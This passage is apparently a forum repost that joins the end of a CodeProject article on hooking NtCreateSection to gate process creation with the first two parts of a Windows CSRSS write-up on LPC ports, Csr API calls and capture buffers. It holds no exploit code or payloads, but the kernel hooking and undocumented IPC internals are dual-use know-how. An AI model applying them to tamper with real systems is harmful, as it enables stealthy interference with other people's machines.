against the list of programs that are allowed to run on the machine. If the match is found, it gives an OK response straight away. Otherwise, it displays a message box, asking the user whether he allows the program in question to be executed. If the response is positive, we add the program in question to the list of software that is allowed to run on the machine. Finally, we write the user response to the buffer, i.e., pass it to our driver. Therefore, the user gets the full control of processes creation on his PC - as long as our program runs, there is absolutely no way to launch any process on the PC without asking user permission. As you can see, we make the kernel-mode code wait for the user response. Is it really a wise thing to do??? In order to answer this question, you have to ask yourself whether you are blocking any critical system resources -everything depends on the situation. In our case everything happens at IRQL PASSIVE_LEVEL, dealing with IRPs is not involved, and the thread that has to wait for the user response is not of critical importance. Therefore, in our case everything works fine. However, this sample is written for demonstration purposes only. In order to make any practical use of it, it makes sense to rewrite our application as an auto-start service. In such a case, I suggest we should make an exemption for the LocalSystem account, and, in case if NtCreateSection() is called in the context of a thread with LocalSystem account privileges, proceed to the actual service implementation without performing any checks -after all, LocalSystem account runs only those executables that are specified in the Registry. Therefore, such an exemption is not going to compromise our security. Conclusion In conclusion I must say that hooking the native API is definitely one the most powerful programming techniques that ever existed. This article gives you just one example of what can be achieved by hooking the native API - as you can see, we managed to prevent execution of unauthorized programs by hooking a single(!!!) native API function. You can extend this approach further, and gain full control over hardware devices, file IO operation, network traffic, etc. However, our current solution is not going to work for kernel-mode API callers - once kernel-mode code is allowed to call ntoskrnl.exe's exports directly, these calls don't need to go via the the system service dispatcher. Therefore, in my next article we are going to hook ntoskrnl.exe itself. This sample has been successfully tested on several machines that run Windows XP SP2. Although I haven't yet tested it under any other environment, I believe that it should work fine everywhere - after all, it does not use any structure that may be system-specific. In order to run the sample, all you have to do is to place protector.exe and protector.sys to the same directory, and run protector.exe. Until protector.exe's application window is closed, you will be prompted every time you attempt running any executable. I would highly appreciate if you send me an e-mail with your comments and suggestions. License This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below. A list of licenses authors might use can be found here Sursa: Hooking the native API and controlling process creation on a system-wide basis - CodeProject
  10. Windows CSRSS Write Up: Inter-process Communication (part 1/3) In the second post of the Windows CSRSS Write Up series, I would like to explain how the practical communication between the Windows Subsystem and user’s process takes place under the hood. Due to the fact that some major improvements have been introduced in Windows Vista and later, the entire article is split into two parts – the first one giving an insight at what the communication channel really is, as well as how is it taken advantage of by both CSRSS and a user processes. The second one, on the other hand, is going to talk through the modifications and new features shipped with the Windows systems starting from Vista, as most of the basic ideas remain the same for decades. As you already know what to expect, proceed to the next section Local Procedure Calls Before starting to analyze the mystery API interface implemented by CSRSS (otherwise known as CsrApi), one must first get some basic knowledge regarding the internal mechanism, used to establish a stable inter-process connection and actually exchange information. The basics LPC is a packet-based, inter-process communication mechanism implemented in the NT kernel (supported since the very first Windows NT versions – most likely 3.51). The mechanism was originally designed so that it was possible to communicate between modules running in different processor privilege levels – i.e. process – process, process – driver and driver – driver connections are equally well supported. This is possible thanks to the fact that the required API functions are exposed to both user-mode (via ntdll.dll) and kernel-mode (via ntoskrnl.exe). Even though we are mostly concerned by the first scenario (where numerous ring-3 processes communicate with csrss.exe), practical examples of the remaining two also exist – let it be the Kernel Mode Security Support Provider Interface (KSecDD.sys) communicating with LSASS.exe, for instance. Apart from being used by certain system processes talking to each other (e.g. Lsass verifying user credentials on behalaf of Winlogon), LPC is also a part of the RPC (Remote Procedure Call) implementation. What should be also noted is that the LPC mechanism is directed towards synchronous communication, and therefore enforces a blocking scheme, where the client must wait until its request is dispatched and handled, instead of continuing its execution. As mentioned in the Introduction section, Windows Vista has brought some major changes in this matter – one of these changes was the implementation of a brand new mechanism called ALPC (standing for Advanced or Asynchronous LPC – which one?), deprecating the old LPC mechanism. Since then, all the client – server requests are performed in an asynchronous manner, so that the client is not forced to wait for the response, for ages. Underlying port objects As it turns out, a great part of the Windows system functionalities internally rely on special, dedicated objects (implemented by the Object Manager) – let it be File System operations, Windows Registry management, thread suspension or whatever you can think of – the LPC mechanism isn’t any different. In this particular case, we have to deal with a port object, otherwise known as LpcPortObjectType. The OBJECT_TYPE structure, describing the object in consideration, is defined as follows: kd> dt _OBJECT_TYPE 81feca90 /r ntdll!_OBJECT_TYPE +0x000 Mutex : _ERESOURCE +0x038 TypeList : _LIST_ENTRY [ 0x81fecac8 - 0x81fecac8 ] +0x040 Name : _UNICODE_STRING "Port" +0x000 Length : 8 +0x002 MaximumLength : 0xa +0x004 Buffer : 0xe1007110 "Port" +0x048 DefaultObject : 0x80560960 Void +0x04c Index : 0x15 +0x050 TotalNumberOfObjects : 0xdb +0x054 TotalNumberOfHandles : 0xd9 +0x058 HighWaterNumberOfObjects : 0xdb +0x05c HighWaterNumberOfHandles : 0xd9 +0x060 TypeInfo : _OBJECT_TYPE_INITIALIZER +0x000 Length : 0x4c +0x002 UseDefaultObject : 0x1 '' +0x003 CaseInsensitive : 0 '' +0x004 InvalidAttributes : 0x7b2 +0x008 GenericMapping : _GENERIC_MAPPING +0x018 ValidAccessMask : 0x1f0001 +0x01c SecurityRequired : 0 '' +0x01d MaintainHandleCount : 0 '' +0x01e MaintainTypeList : 0 '' +0x020 PoolType : 1 ( PagedPool ) +0x024 DefaultPagedPoolCharge : 0xc4 +0x028 DefaultNonPagedPoolCharge : 0x18 +0x02c DumpProcedure : (null) +0x030 OpenProcedure : (null) +0x034 CloseProcedure : 0x805904f3 void nt!ObReferenceObjectByName+0 +0x038 DeleteProcedure : 0x805902e1 void nt!ObReferenceObjectByName+0 +0x03c ParseProcedure : (null) +0x040 SecurityProcedure : 0x8056b84f long nt!CcUnpinDataForThread+0 +0x044 QueryNameProcedure : (null) +0x048 OkayToCloseProcedure : (null) +0x0ac Key : 0x74726f50 +0x0b0 ObjectLocks : [4] _ERESOURCE This object can be considered a specific gateway between two modules – it is being used by both sides of the communication channel, while not seeing each other directly at the same time. More precisely, the subject of our considerations are named ports, only; this is caused by the fact that the object must be easily accessible for every possible process. After the server correctly initializes a named port object – later utilized by the clients – it waits for an incoming connection. When a client eventually decides to connect, the server can verify whether further communication should or shouldn’t be allowed (usually based on the client’s CLIENT_ID structure). If the request is accepted, the connection is considered established – the client is able to send input messages and optionally wait for a response (depending on the packet type). Every single packet exchanged between the client and server (including the initial connection requests) begins with a PORT_MESSAGE structure, of the following definition: // // LPC Port Message // typedef struct _PORT_MESSAGE { union { struct { CSHORT DataLength; CSHORT TotalLength; } s1; ULONG Length; } u1; union { struct { CSHORT Type; CSHORT DataInfoOffset; } s2; ULONG ZeroInit; } u2; union { LPC_CLIENT_ID ClientId; double DoNotUseThisField; }; ULONG MessageId; union { LPC_SIZE_T ClientViewSize; ULONG CallbackId; }; } PORT_MESSAGE, *PPORT_MESSAGE; The above header consist of the most essential information concerning the message, such as: DataLength Determines the size of the buffer, following the header structure (in bytes) TotalLength Determines the entire size of the packet, must be equal sizeof(PORT_MESSAGE) + DataLength Type Specifies the packet type, can be one of the following: // // LPC Message Types // typedef enum _LPC_TYPE { LPC_NEW_MESSAGE, LPC_REQUEST, LPC_REPLY, LPC_DATAGRAM, LPC_LOST_REPLY, LPC_PORT_CLOSED, LPC_CLIENT_DIED, LPC_EXCEPTION, LPC_DEBUG_EVENT, LPC_ERROR_EVENT, LPC_CONNECTION_REQUEST, LPC_CONNECTION_REFUSED, LPC_MAXIMUM } LPC_TYPE; ClientId Identifies the packet sender by Process ID and Thread ID MessageId A unique value, identifying a specific LPC message Due to the fact that LPCs can be used to send both small and large amounts of data – two, distinct mechanisms of passing memory between the client and server were developed. In case 304 or less bytes are requested to be sent, a special LPC buffer is used and sent together with the header (described by Length and DataLength), while greater messages are passed using shared memory sections, mapped in both parties taking part in the data exchange. LPC Api Due to the fact that LPC is an internal, undocumented mechanism (mostly employed by the system executables), one cannot make use of it based on the win32 API alone. However, a set of LPC-management native routines is exported by the ntdll module; using these functions, one is able to build his own LPC-based protocol and use it on his own favor (e.g. as a fast and convenient IPC technique). A complete list of the Native Calls follows: NtCreatePort NtConnectPort NtListenPort NtAcceptConnectPort NtCompleteConnectPort NtRequestPort NtRequestWaitReplyPort NtReplyPort NtReplyWaitReplyPort NtReplyWaitReceivePort NtImpersonateClientOfPort NtSecureConnectPort The above list is somewhat correspondent to the cross-ref table for _LpcPortObjectType (excluding NtQueryInformationPort, NtRegisterThreadTerminatePort and a couple of other routines).. All of the functions are more or less documented by independent researchers, Tomasz Nowak and Bo Branten – a brief description of each export is available on the net, though most of the symbols speak by themselves anyway. Having the function names, let’s take a look at how the functions can be actually taken advantage of! Server – Setting up a port In order to make the server reachable for client modules, it must create Named Port by calling NtCreatePort (specyfing the object’s name and an optional security descriptor): NTSTATUS NTAPI NtCreatePort (OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectInfoLength, IN ULONG MaxDataLength, IN OUT PULONG Reserved OPTIONAL ); When the LPC port is successfully created, it becomes visible to other, external modules – potential clients. Server – Port Listening In order to accept an inbound connection, the server starts listening on the newly created port, awaiting for the clients. This is achieved using a NtListenPort routine of the following definition: NTSTATUS NTAPI NtListenPort (IN HANDLE PortHandle, OUT PLPC_MESSAGE ConnectionRequest); Being dedicated to the synchronous approach, the function blocks the thread and waits until someone tries to make use of the port. And so, while the server is waiting, some client eventually tries to connect… Client – Connecting to a Port Knowing that the port has already been created and is currently waiting (residing inside NtListenPort), our client process is able to connect, specifying the port name used during the creation proces. The following function will take care of the rest: NTSTATUS NTAPI NtConnectPort (OUT PHANDLE ClientPortHandle, IN PUNICODE_STRING ServerPortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, IN OUT PLPC_SECTION_OWNER_MEMORY ClientSharedMemory OPTIONAL, OUT PLPC_SECTION_MEMORY ServerSharedMemory OPTIONAL, OUT PULONG MaximumMessageLength OPTIONAL, IN ConnectionInfo OPTIONAL, IN PULONG ConnectionInfoLength OPTIONAL ); Server – Accepting (or not) the connection When a client tries to connect at one side of the port, the server’s execution track returns from NtListenPort, having the PORT_MESSAGE header filled with information. In particular, the server can access a CLIENT_ID structure, identifying the source process/thread. Based on that data, the server can make the final decision whether to allow or refuse the connection. Whatever option is chosen, the server calls a NtAcceptConnectPort function: NTSTATUS NTAPI NtAcceptConnectPort (OUT PHANDLE ServerPortHandle, IN HANDLE AlternativeReceivePortHandle OPTIONAL, IN PLPC_MESSAGE ConnectionReply, IN BOOLEAN AcceptConnection, IN OUT PLPC_SECTION_OWNER_MEMORY ServerSharedMemory OPTIONAL, OUT PLPC_SECTION_MEMORY ClientSharedMemory OPTIONAL ); In case of a rejection, the execution ends here. The client returns from the NtConnectPort call with an adequate error code (most likely STATUS_PORT_CONNECTION_REFUSED), and the server ends up calling NtListenPort again. If, however, the server decides to proceed with the connection, another routine must be called: NTSTATUS NTAPI NtCompleteConnectPort (IN HANDLE PortHandle); After the above function is triggered, our connection is confirmed and read to go! Server – Waiting for a message After opening up a communication channel, the server must begin listening for incoming packets (or client-related events). Because of the specific nature of LPC, the server is unable to send messages by itself – rather than that, it must wait for the client to send a request, and then possibly respond with a piece of data. And so, in order to (as always – synchronously) await a message, the server should call the following function: NTSTATUS NTAPI NtReplyWaitReceivePort (IN HANDLE PortHandle, OUT PHANDLE ReceivePortHandle OPTIONAL, IN PLPC_MESSAGE Reply OPTIONAL, OUT PLPC_MESSAGE IncomingRequest); Client – Sending a message Having the connection established, our client is now able to send regular messages, at the time of its choice. Moreover, the application can choose between one-side packets and interactive requests. By sending the first type of message, the client does not expect the server to reply – most likely, it is a short, informational packet. On the other hand, interactive messages require the server to fill in a return buffer of a given size. These two packet types can be sent using different native calls: NTSTATUS NTAPI NtRequestPort (IN HANDLE PortHandle, IN PLPC_MESSAGE Request); or NTSTATUS NTAPI NtRequestWaitReplyPort (IN HANDLE PortHandle, IN PLPC_MESSAGE Request, OUT PLPC_MESSAGE IncomingReply); Apparently, the difference between these two definitions are pretty much obvious Server – Replying to incoming packets In case the client requests data from the server, the latter is obligated to respond providing some output data. In order to do so, the following function should be used: NTSTATUS NTAPI NtReplyPort (IN HANDLE PortHandle, IN PLPC_MESSAGE Reply); Client – Closing the connection When, eventually, the client either terminates or decides to close the LPC connection, it can clean up the connection by simply dereferencing the port object – the NtClose (or better, documented CloseHandle) native call can be used: NTSTATUS NTAPI NtClose(IN HANDLE ObjectHandle); The entire IPC process has already been presented in a visual form – some very illustrative flow charts can be found here (LPC Communication) and here (LPC Part 1: Architecture). All of the described functions are actually used while maintaining the CSRSS connection – you can check it by yourself! What should be noted though, is that the above summary covers the LPC communication (which can be already used to create an IPC framework), but tells nothing about what data, in particular, is being sent over the named port. Obviously, the Windows Subsystem manages its own, internal communication protocol implemented by both client-side (ntdll.dll) and server-side (csrsrv.dll, winsrv.dll, basesrv.dll) system libraries. In order to make it more convenient for kernel32.dll to make use of the CSR packets, a special subset of routines dedicated to CSRSS-communication exists in ntdll.dll. The list of these functions includes, but is not limited to: CsrClientCallServer CsrClientConnectToServer CsrGetProcessId CsrpConnectToServer Thanks to the above symbols, it is possible for kernel32.dll (and most importantly – us) to send custom messages on behalf of the current process, without a thorough knowledge of the protocol structure. Furthermore, ntdll.dll contains all the necessary, technical information required while talking to CSRSS, such as the port name to connect to. The next post is going to talk over both client- and user- sides of the LPC initialization and usage, as it is practically performed – watch out Conclusion All in all, a great number of internal Windows mechanisms make use of LPC – both low-level ones, such as the Windows debugging facility or parts of exception handling implementation, as well as high-level capabilities, including user credentials verification performed by LSASS. One can list all of the named (A)LPC port object present in the system using the WinObj tool by Windows Sysinternals. It is also highly recommended to create one’s own implementation of a LPC-based inter-process communication protocol – a very learning experience. An exemplary source code can be found in the following package: link. Have fun, leave comments and stay tuned for respective entries ;D References LPC Communication Local Procedure Calls (LPCs) LPC Part 1: Architecture Sysinternals WinObj Windows Privilege Escalation through LPC Ntdebugging on LPC interface Windows CSRSS Write Up: Inter-process Communication (part 2/3) A quick beginning note: My friend d0c_s4vage has created a technical blog and posted his first text just a few days ago. The post entry covers a recent, critical libpng vulnerability discovered by this guy; the interesting thing is that, among others, the latest Firefox and Chrome versions were vulnerable. Feel free to take a minute and read the article here. Additionally, the video and mp3 recordings from the presentation performed by me and Gynvael on the CONFidence 2010 conference, are now publicly available on the official website: link (Case study of recent Windows vulnerabilities). Foreword A majority of the LPC /supposedly an acronym for Local Inter-Process Communication rather than Local Procedure Calls, as stated in WRK/ basics have been described in the first post of Inter-process Communication chapter, together with the corresponding, undocumented native functions related to LPC Ports. As you already have the knowledge required to understand higher abstraction levels, today I would like to shed some light on the internal Csr~ interface provided by NTDLL and extensively utilized by the Win32 API DLLs (kernel32 and user32). Introduction As explained previously, LPC is an (officially) undocumented, packet-based IPC mechanism. It basically relies on two things – a Port Object and internal LPC structures, such as _PORT_HEADER – both unexposed to the Windows API layer. Due to the fact that CSRSS implements his own protocol on top of LPC, it would become highly inconvenient (and impractical) for the win32 libraries to take care of both LPC and CSRSS internals, at the same time. And so, an additional layer between the port-related functions and high-level API was created – let’s call it Native Csr Interface. The medium level of the call chain provides a set of helper functions, specifically designed to hide the internals of the communication channel from high-level API implementation. Therefore, it should be theoretically possible to re-implement the Csr-Interface using a different communication mechanism with similar properties, without any alterations being applied on the API level. This has been partially accomplished by replacing the deprecated LPC with an improved version of the mechanism – Advanced / Asynchronous LPC on modern NT-family systems (Vista, 7). In this post, the precise meaning, functionalities and definitions of the crucial Csr~ routines will be focused on. After reading the article, one should be able to recognize and understand specific CSR API calls found inside numerous, documented functions related to console management, process / thread creation and others. Connection Initialization What has already been mentioned is the fact that every application belonging to the win32-subsystem is connected to the Windows Subsystem process (CSRSS) at its startup, by default. Although it is technically possible to disconnect from the port before the program is properly terminated, such behavior is beyond the scope of this post entry. However, some details regarding a security flaw related to CSRSS-port disconnection in the context of a live process, can be found here and here (discovered by me and Gynvael). From this point on, it will be assumed that when the process is given execution (i.e. Entry Point, imported module’s DllMain or TLS callback is called), the CSRSS connection is already established. And so, the question is – how, and where the connection is set up during the process initialization. This section provides answers for both of these questions. Opening named LPC port During a process creation, numerous parts of the system come into play and perform their part of the job. It all starts with the parent application calling an API function (CreateProcess) – the execution then goes through the kernel, a local win32 subsystem, and finally – ring-3 process self-initialization (performed by the system libraries). A step-by-step explanation of the Windows process creation can be found in the Windows Internals 5 book, Chapter “Processes, Threads and Jobs”. As the CSRSS connection is not technically crucial for the process to exist (and execute), it can be performed later than other parts of the process initialization. And so, the story of establishing a connection with the subsystem begins in the context of a newly-created program – more precisely, inside the kernel32 entry point (kernel32!BaseDllInitialize). At this point, the CSRSS-related part of the routine performs the following call: view sourceprint? 1.BOOL WINAPI _BaseDllInitialize(HINSTANCE, DWORD, LPVID) 2.{ 3.(...) 4. 5.CsrClientConnectToServer(L"\\Windows",BASESRV_INDEX,...); 6. 7.(...) 8.} thus forwarding the execution to the ntdll.dll module, where a majority of the subsystem-related activities are performed. Before we dive into the next routine, two important things should be noted here: The Base Dll (kernel32) has complete control over the Port Object directory and makes the final decision regarding the referenced port’s name prefix. As it turns out, it is also possible for a different Object Directory to be used – let’s take a look at the following pseudo-code listing: view sourceprint? 1.if(SessionId) 2.swprintf(ObjectDirectory,L"%ws\\%ld%ws",L"\\Sessions",SessionId,L"\\Windows"); 3.else 4.wcscpy(ObjectDirectory,L"\\Windows"); The “SessionId” symbols represents a global DWORD variable, initialized inside the BaseDllInitialize function, as well: view sourceprint? 1.mov eax, large fs:18h 2.mov eax, [eax+30h] 3.mov eax, [eax+1D4h] 4.mov _SessionId, eax … translated to the following high-level pseudo-code: view sourceprint? 1.SessionId = NtCurrentTeb()->SessionId; If one takes a look into the PEB structure definition, he will certainly find the variable: view sourceprint? 1.kd> dt _PEB 2.nt!_PEB 3.(...) 4.+0x154 TlsExpansionBitmapBits : [32] Uint4B 5.+0x1d4 SessionId : Uint4B 6.+0x1d8 AppCompatFlags : _ULARGE_INTEGER 7.(...) If one decides to connect to the win32 subsystem, he must specify a particular ServerDll to connect to (csrsrv, basesrv, winsrv); the identification number is be passed as the second argument of CsrClientConnectToServer. As can be seen, kernel32 specifies the BASESRV_INDEX constant, as it desires to connect to a certain module – being basesrv in this case. Basesrv.dll is the kernel32 equivalent on the subsystem side – a Csr connection between these two modules is required for some of the basic win32 API calls to work properly. On the other hand, all of the console-management functionality is implemented by winsrv (to be exact – the consrv part of the module). And so – in order to take advantage of functions, such as AllocConsole, FreeConsole, SetConsoleTitle or WriteConsole – a valid connection with winsrv is also required. Fortunately – kernel32 remembers about it and issues a call to another internal function – ConDllInitialize() – after the LPC Port connection is successfully established. The routine’s obvious purpose is to set up the console-related structures inside the Base dll image, and use the CsrClientConnectToServer function with the second argument set to CONSRV_INDEX. When we make a step into CsrClientConnectToServer and analyze further, a great amount of CSRSS-related initialization code surrounds us. Don’t worry – a huge part of the routine deals with user-mode structures and other irrevelant stuff – our interest begins, where the following call is made: view sourceprint? 1.if(!CsrPortHandle) 2.{ 3.ReturnCode = CsrpConnectToServer(ObjectDirectory); // ObjectDirectory is kernel32-controlled 4.if(!NT_SUCCESS(ReturnCode)) 5.return (ReturnCode); 6.} As the above indicates, the global CsrPortHandle variable is compared with zero – if this turns out to be true, CsrpConnectToServer is called, taking the object directory string as its only argument. So – let’s face another routine ;> The proc starts with the following code: view sourceprint? 1.CsrPortName.Length = 0; 2.CsrPortName.MaxLength = 2*wcslen(ObjectDirectory)+18; 3.CsrPortName.Buffer = RtlAllocateHeap(CsrHeap,NtdllBaseTag,CrsPortName.MaxLength); 4. 5.RtlAppendUnicodeToString(&CsrPortName,ObjectDirectory); 6.RtlAppendUnicodeToString(&CsrPortName,L"\\"); 7.RtlAppendUnicodeToString(&CsrPortName,L"ApiPort"); Apparently, the final Port Object name is formed here, and stored inside a local “UNICODE_STRING CsrPortName” structure. Next then, a special section is created, using an adequate native call: view sourceprint? 1.LARGE_INTEGER SectionSize = 0x10000; 2.NtStatus = NtCreateSection(&SectionHandle, SECTION_ALL_ACCESS, NULL, &SectionSize, PAGE_READWRITE, SEC_RESERVE, NULL); 3. 4.if(!NT_SUCCESS(NtStatus)) 5.return NtStatus; This section is essential to the process<->subsystem communication, as this memory area is mapped in both the client and win32 server, and then used for exchanging large portions of data between these two parties. And so, when the section is successfully created, the routine eventually tries to connect to the named port! view sourceprint? 1./* SID Initialization */ 2.NtStatus = RtlAllocateAndInitializeSid(...,&SystemSid); 3.if(!NT_SUCCESS(NtStatus)) 4.return NtStatus; 5. 6.NtStatus = NtSecureConnectPort(&CsrPortHandle,&CsrPortName,...); 7.RtlFreeSid(SystemSid); 8.NtClose(&SectionHandle); For the sake of simplicity and reading convenience, I’ve stripped the remaining arguments from the listing; they describe some advanced connection characteristics, and are beyond the scope of this post. When everything is fine up to this point, we have an established connection (yay, CSRSS accepted our request) and an open handle to the port. Therefore, we can start sending first packets, in order to let CSRSS (and its modules – ServerDlls) know about ourselves. So – after returning back to ntdll!CsrClientConnectToServer: view sourceprint? 1.NtStatus = CsrpConnectToServer(ObjectName); 2.if(!NT_SUCCESS(NtStatus)) 3.return NtStatus; the following steps are taken: view sourceprint? 1.if(ConnectionInformation) 2.{ 3.CaptureBuffer = CsrAllocateCaptureBuffer(1,InformationLength); 4.CsrAllocateMessagePointer(CaptureBuffer,InformationLength,&conn.ConnectionInformation); 5.RtlMoveMemory(conn.ConnectionInformation,ConnectionInformation,InformationLength); 6.} 7.CsrClientCallServer(&Message, CaptureBuffer, CSR_API(CsrpClientConnect), sizeof(ConnStructure)); First of all, the ConnectionInformation pointer is checked – in case it’s non-zero, the CsrAllocateCaptureBuffer, CsrAllocateMessagePointer and RtlMoveMemory functions are called, respectively. The purpose of these operations is to move the data into a shared heap in such a way, that both our application and CSRSS can easily read its contents. After the “if” statement, a first, real message is sent to the subsystem using CsrClientCallServer, of the following prototype: view sourceprint? 1.NTSTATUS CsrClientCallServer(PCSR_API_MSG m, PCSR_CAPTURE_HEADER CaptureHeader, CSR_API_NUMBER ApiNumber, ULONG ArgLength); For a complete, cross-version compatible table and/or list of Csr APIs, check the following references: CsrApi List and CsrApi Table. And so, in the above snippet, the “CsrpClientConnect” API is used, providing additional information about the connecting process. This message is handled by an internal csrsrv.CsrSrvClientConnect routine, which redirects the message to an adequate callback function, specified by the ServerDll being connected to (in this case – basesrv!BaseClientConnectRoutine). After sending the above message, the connection between the client- and server-side DLLs (i.e. kernel32 and basesrv) can be considered fully functional. As it turns out, parts of the execution path presented above can be also true for CSRSS itself! Because of the fact that ntdll!CsrClientConnectToServer can be reached from inside the subsytem process, the CsrClientConnectToServer routine must handle such case properly. And so – before any actions are actually taken by the function, the current process instance is checked, first: view sourceprint? 01.NtHeaders = RtlImageHeader(NtCurrentPeb()->ImageBaseAddress); 02.CsrServerProcess = (NtHeaders->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_NATIVE); 03. 04.if(CsrServerProcess) 05.{ 06.// Take normal steps 07.} 08.else 09.{ 10.// Do nothing, except for the _CsrServerApiRoutine pointer initialization 11._CsrServerApiRoutine = GetProcAddress(GetModuleHandle("csrsrv"),"CsrCallServerFromServer"); 12.} Apparently, every process connecting to the LPC Port that has the SUBSYSTEM_NATIVE header value set, is assumed to be an instance of CSRSS. This, in turn, implies that CSRSS is the only native, system-critical process which makes use of the Csr API calls. Data tranmission Having the connection up and running, a natural order of things is to exchange actual data. In order to achieve this, one native call is exported by ntdll – the CsrClientCallServer function, already mentioned in the text. Because of the fact that each Csr API requires a different amount of input/output data (while some don’t need these, at all) from the requestor, as well as due to the LPC packet-length limitations, the messages can be sent in a few, different ways. In general, all of the CSR-supported packets can be divided into three, main groups: empty, short, and long packets. Based on the group a given packet belongs to, it is sent using an adequate mechanism. This section provides a general overview of the data transmission-related techniques, as well as exemplary (practical) use of each type. Empty packets Description “Empty packets” is a relatively small group of purely-informational messages, which are intended to make CSRSS perform a specific action. These packets don’t supply any input data – their API ID is the only information needed by the win32 subsystem. A truely-empty packets don’t generate any output data, either. Sending Due to the fact that “empty packets” don’t supply any additional information, the only data being transferred is the internal _PORT_HEADER structure. The address of a correctly initialized PortHeader should be then passed as the first CsrClientCallServer parameter. The shared section doesn’t take part while sending and handling these packets. What is more, no serious input validation is required by the API handler, because there is no input in the first place. The routine is most often supposed to perform one, certain action and then return. Unsupported APIs, statically returning the STATUS_UNSUCCESSFUL or STATUS_NOT_SUPPORTED error codes, can also be considered “empty packets”, as they always behave the same way, regardless of the input information. Examples One, great example of an empty-packet is winsrv!SrvCancelShutdown. As the name implies, the APIs purpose is pretty straight-forward – cancelling the shutdown. Seemingly, no input / output arguments are necessary: view sourceprint? 01.; __stdcall SrvCancelShutdown(x, x) 02._SrvCancelShutdown@8 proc near 03.call _CancelExitWindows@0 ; CancelExitWindows() 04.neg eax 05.sbb eax, eax 06.and eax, 3FFFFFFFh 07.add eax, 0C0000001h 08.retn 8 09._SrvCancelShutdown@8 endp As shown above, the handler issues a call to the CancelExitWindows() function, and doesn’t make use of any of the two parameters. Another CsrApi function of this kind is basesrv!BaseSrvNlsUpdateCacheCount, always performing the same task: view sourceprint? 01.; __stdcall BaseSrvNlsUpdateCacheCount(x, x) 02._BaseSrvNlsUpdateCacheCount@8 proc near 03.cmp _pNlsRegUserInfo, 0 04.jz short loc_75B28AFC 05.push esi 06.mov esi, offset _NlsCacheCriticalSection 07.push esi 08.call ds:__imp__RtlEnterCriticalSection@4 ; RtlEnterCriticalSection(x) 09.mov eax, _pNlsRegUserInfo 10.inc dword ptr [eax+186Ch] 11.push esi 12.call ds:__imp__RtlLeaveCriticalSection@4 ; RtlLeaveCriticalSection(x) 13.pop esi 14.loc_75B28AFC: 15.xor eax, eax 16.retn 8 17._BaseSrvNlsUpdateCacheCount@8 endp A few more examples can be found – looking for these is left as an exercise for the reader. Short packets Description The “short packets” group describes a great part of the Csr messages. Every request, passing actual data to / from CSRSS but fitting in the LPC-packet length restriction belongs to this family. And so – most fixed-size (i.e. these, that don’t contain volatile text strings or other, possibly long chunks of data) structures are indeed smaller than the 304-byte limitation. Sending As this particular type requires additional data to be appended at the end of the _PORT_MESSAGE structure, a set of API-specific structs has been created. All of these types begin with the standard LPC PortMessage header, and then specify the actual variables to send, e.g.: view sourceprint? 1.struct CSR_MY_STRUCTURE 2.{ 3.struct _PORT_HEADER PortHeader; 4.BOOL Boolean; 5.ULONG Data[0x10]; 6.DWORD Flags; 7.}; Such amount of data can be still sent in a single LPC packets. And so, a custom structure, beginning with the _PORT_HEADER field must be used as a first CsrClientCallServer argument. The Capture Buffer technique remains unused, thus the second parameter should be set to NULL. Examples As for the examples, it is really easy to list a couple: winsrv!SrvGetConsoleAliasExesLength winsrv!SrvSetConsoleCursorMode winsrv!SrvGetConsoleCharType basesrv!BaseSrvExitProcess basesrv!BaseSrvBatNotification The above handlers take a constant number of bytes as the input, and optionally return some data (of static length, as well). Long packets Description From the researcher’s point of view, the “long packets” group is doubtlessly the most interesting one. Due to the fact that they are used to send/receive large amounts of data (beyond the maximum size of a LPC message), a special mechanism called a Shared Section is used for transferring these messages. Let’s take a look at the details. Initialization Do you remember the ntdll!CsrpConnecToServer function? At some point, between forming the port name and establishing the connection, we could see a weird NtCreateSection(0×10000) call. As it turns out, this section is a special memory area, mapped in both the client and server processes. After creating the section, its handle is passed to CSRSS through the NtSecureConnectPort native call. Once the win32 subsystem receives a connection request and accepts it, the section is mapped into the server’s virtual address space. Next then, CSRSS provides its client with some basic memory mapping information – such as the server-side base address and view size. Based on the supplied info, a few global variables are initialized (CsrProcessId, CsrObjectDirectory), with CsrPortMemoryRemoteDelta being the most important one for us: view sourceprint? 1.CsrPortMemoryRemoteDelta = (CSRSS.BaseAddress - LOCAL.BaseAddress); Basically, the above variable is filled with the distance between the server- and user- mappings of the shared memory. This information is going to appear to be crucial to exchange information, soon. Furthermore, a commonly known structure called “heap” is created on top of the allocation: view sourceprint? 1.CsrPortHeap = RtlCreateHeap(0x8000u, LOCAL.BaseAddress, LOCAL.ViewSize, PageSize, 0, 0); From this point on, the shared heap is going to be used thorough the whole communication session, for passing data of various size and content. The functions taking advantage of the heap are: CsrAllocateCaptureBuffer CsrFreeCaptureBuffer CsrAllocateMessagePointer (indirect) CsrCaptureMessageBuffer (indirect) CsrCaptureMessageString (indirect) [*]All of the above routines are apparently related to the “Capture Buffer” mechanism, described in the following section. Capture Buffers In order to fully understand the idea behind Capture Buffers, one should see it as a special box, a container designed to hold data in such a way, that it can be easily accessed by both sides of the communication (i.e. be offset-based rather than VA-based etc). Such structure is determined by the following characteristics: Number of memory blocks: one Capture Buffer is able to hold mulitple data blocks – e.g. a couple of strings, describing a specific object (like a console window). Total size: the total size of the container, including its header, pointer table, and the data blocks themselves. So – these “data boxes” are used to transfer data between the two parties. In order to illustrate this complex the mechanism, suppose we’ve got the following structure: view sourceprint? 01.struct CSR_MESSAGE 02.{ 03._PORT_HEADER PortHeader; 04.LPVOID FirstPointer; 05.LPVOID SecondPointer; 06.LPVOID ThirdPointer; 07.LPVOID ForthPointer; 08.LPVOID FifthPointer; 09.} m; The above packet is going to be sent to CSRSS after the initialization takes place. Having the above declared, we can take a closer look at each of the CA-related functions: CsrAllocateCaptureBuffer(ULONG PointerCount, ULONG Size) Allocates an adequate number of bytes from CsrHeap: (Size + sizeof(CAPTURE_HEADER) + PointerCount*sizeof(LPVOID)) … and returns the resulting pointer to the user. Right after the allocation, the CaptureBuffer structure contents look like this: CaptureBuffer = AllocateCaptureBuffer(5,20); Due to the fact that no messages have been allocated from the CaptureBuffer yet, Capture.Memory is a single memory block, while the Capture.Pointers[] array remains empty. CsrFreeCaptureBuffer(LPVOID CaptureBuffer) Frees a given CaptureBuffer memory area, by issuing a simple call: view sourceprint? 1.RtlFreeHeap(CsrHeap,0,CaptureBuffer); CsrAllocateMessagePointer(LPVOID CaptureBuffer, ULONG 